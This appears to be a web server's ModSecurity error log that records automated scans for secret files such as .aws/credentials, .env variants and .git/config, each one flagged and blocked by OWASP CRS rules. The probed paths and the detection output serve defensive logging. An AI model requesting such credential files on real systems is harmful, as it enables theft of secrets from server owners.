[Sun Jun 08 02:26:30.519357 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /home/user/.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/home/user/.aws/credentials&quot;] [unique_id &quot;aETYtrUz9CVwWtZ9cYd_zgAAAAI&quot;]
[Sun Jun 08 02:26:30.519562 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/home/user/.aws/credentials&quot;] [unique_id &quot;aETYtrUz9CVwWtZ9cYd_zgAAAAI&quot;]
[Sun Jun 08 02:26:30.519803 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/home/user/.aws/credentials&quot;] [unique_id &quot;aETYtrUz9CVwWtZ9cYd_zgAAAAI&quot;]
[Sun Jun 08 02:26:35.187731 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /myproject/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/myproject/.env&quot;] [unique_id &quot;aETYu7Uz9CVwWtZ9cYd_zwAAAAI&quot;]
[Sun Jun 08 02:26:35.187946 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/myproject/.env&quot;] [unique_id &quot;aETYu7Uz9CVwWtZ9cYd_zwAAAAI&quot;]
[Sun Jun 08 02:26:35.188131 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/myproject/.env&quot;] [unique_id &quot;aETYu7Uz9CVwWtZ9cYd_zwAAAAI&quot;]
[Sun Jun 08 02:26:37.091491 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.envs/.production/.django&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.envs/.production/.django&quot;] [unique_id &quot;aETYvbUz9CVwWtZ9cYd_0AAAAAI&quot;]
[Sun Jun 08 02:26:37.091712 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.envs/.production/.django&quot;] [unique_id &quot;aETYvbUz9CVwWtZ9cYd_0AAAAAI&quot;]
[Sun Jun 08 02:26:37.091919 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.envs/.production/.django&quot;] [unique_id &quot;aETYvbUz9CVwWtZ9cYd_0AAAAAI&quot;]
[Sun Jun 08 02:26:37.936261 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /react-app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/react-app/.env&quot;] [unique_id &quot;aETYvbUz9CVwWtZ9cYd_0QAAAAI&quot;]
[Sun Jun 08 02:26:37.936472 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/react-app/.env&quot;] [unique_id &quot;aETYvbUz9CVwWtZ9cYd_0QAAAAI&quot;]
[Sun Jun 08 02:26:37.936702 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/react-app/.env&quot;] [unique_id &quot;aETYvbUz9CVwWtZ9cYd_0QAAAAI&quot;]
[Sun Jun 08 02:26:38.794504 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /react-app/.env.production&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/react-app/.env.production&quot;] [unique_id &quot;aETYvrUz9CVwWtZ9cYd_0gAAAAI&quot;]
[Sun Jun 08 02:26:38.794701 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/react-app/.env.production&quot;] [unique_id &quot;aETYvrUz9CVwWtZ9cYd_0gAAAAI&quot;]
[Sun Jun 08 02:26:38.794870 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/react-app/.env.production&quot;] [unique_id &quot;aETYvrUz9CVwWtZ9cYd_0gAAAAI&quot;]
[Mon Jun 09 06:20:04.264503 2025] [:error] [pid 3732064] [client 13.39.163.23:60300] [client 13.39.163.23] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aEZg9E8z_ZDku17AIsDn1wAAAAc&quot;]
[Mon Jun 09 06:20:04.264751 2025] [:error] [pid 3732064] [client 13.39.163.23:60300] [client 13.39.163.23] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aEZg9E8z_ZDku17AIsDn1wAAAAc&quot;]
[Mon Jun 09 06:20:04.264913 2025] [:error] [pid 3732064] [client 13.39.163.23:60300] [client 13.39.163.23] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aEZg9E8z_ZDku17AIsDn1wAAAAc&quot;]
[Mon Jun 09 08:08:04.163861 2025] [:error] [pid 3732066] [client 185.177.72.106:43210] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aEZ6RPapOuZKkaf2c_kwiAAAAAk&quot;]
[Mon Jun 09 08:08:04.164144 2025] [:error] [pid 3732066] [client 185.177.72.106:43210] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aEZ6RPapOuZKkaf2c_kwiAAAAAk&quot;]
[Mon Jun 09 08:08:04.164324 2025] [:error] [pid 3732066] [client 185.177.72.106:43210] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aEZ6RPapOuZKkaf2c_kwiAAAAAk&quot;]
[Mon Jun 09 08:08:04.222709 2025] [:error] [pid 3732066] [client 185.177.72.106:43210] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aEZ6RPapOuZKkaf2c_kwigAAAAk&quot;]
[Mon Jun 09 08:08:04.222948 2025] [:error] [pid 3732066] [client 185.177.72.106:43210] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aEZ6RPapOuZKkaf2c_kwigAAAAk&quot;]
[Mon Jun 09 08:08:04.223111 2025] [:error] [pid 3732066] [client 185.177.72.106:43210] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aEZ6RPapOuZKkaf2c_kwigAAAAk&quot;]
[Mon Jun 09 08:08:04.251761 2025] [:error] [pid 3732066] [client 185.177.72.106:43210] [client 185.177.72.106] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aEZ6RPapOuZKkaf2c_kwiwAAAAk&quot;]
[Mon Jun 09 08:08:04.251915 2025] [:error] [pid 3732066] [client 185.177.72.106:43210] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aEZ6RPapOuZKkaf2c_kwiwAAAAk&quot;]
[Mon Jun 09 08:08:04.252146 2025] [:error] [pid 3732066] [client 185.177.72.106:43210] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aEZ6RPapOuZKkaf2c_kwiwAAAAk&quot;]
[Mon Jun 09 08:08:04.252348 2025] [:error] [pid 3732066] [client 185.177.72.106:43210] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aEZ6RPapOuZKkaf2c_kwiwAAAAk&quot;]
[Mon Jun 09 08:08:04.281101 2025] [:error] [pid 3732066] [client 185.177.72.106:43210] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.example&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aEZ6RPapOuZKkaf2c_kwjAAAAAk&quot;]
[Mon Jun 09 08:08:04.281337 2025] [:error] [pid 3732066] [client 185.177.72.106:43210] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aEZ6RPapOuZKkaf2c_kwjAAAAAk&quot;]
[Mon Jun 09 08:08:04.281529 2025] [:error] [pid 3732066] [client 185.177.72.106:43210] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aEZ6RPapOuZKkaf2c_kwjAAAAAk&quot;]
[Mon Jun 09 08:08:04.310337 2025] [:error] [pid 3732066] [client 185.177.72.106:43210] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aEZ6RPapOuZKkaf2c_kwjQAAAAk&quot;]
